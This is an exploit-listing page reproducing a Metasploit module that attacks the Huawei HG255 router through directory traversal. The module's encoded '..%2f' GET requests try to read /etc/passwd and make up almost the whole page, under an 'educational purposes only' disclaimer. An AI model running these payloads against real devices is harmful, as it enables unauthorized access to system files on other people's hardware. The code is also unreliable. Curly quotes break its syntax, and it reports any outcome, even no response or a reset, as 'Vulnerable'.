Exploits / Vulnerability Discovered : 2020-01-15 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Huawei hg255 directory traversal (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def run
urllist=[
‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]
urllist.each do |url|
begin
res = send_request_raw(
{
‘method’=> ‘GET’,
‘uri’=> url
})
if res
print_good(“Vulnerable! for #{url}”)
else
print_status(“Vulnerable(no response) detected for #{url}”)
end
rescue Errno::ECONNRESET
print_status(“Vulnerable(rst) detected for #{url}”)
rescue Exception
print_error(“Connection failed.”)
end
end
end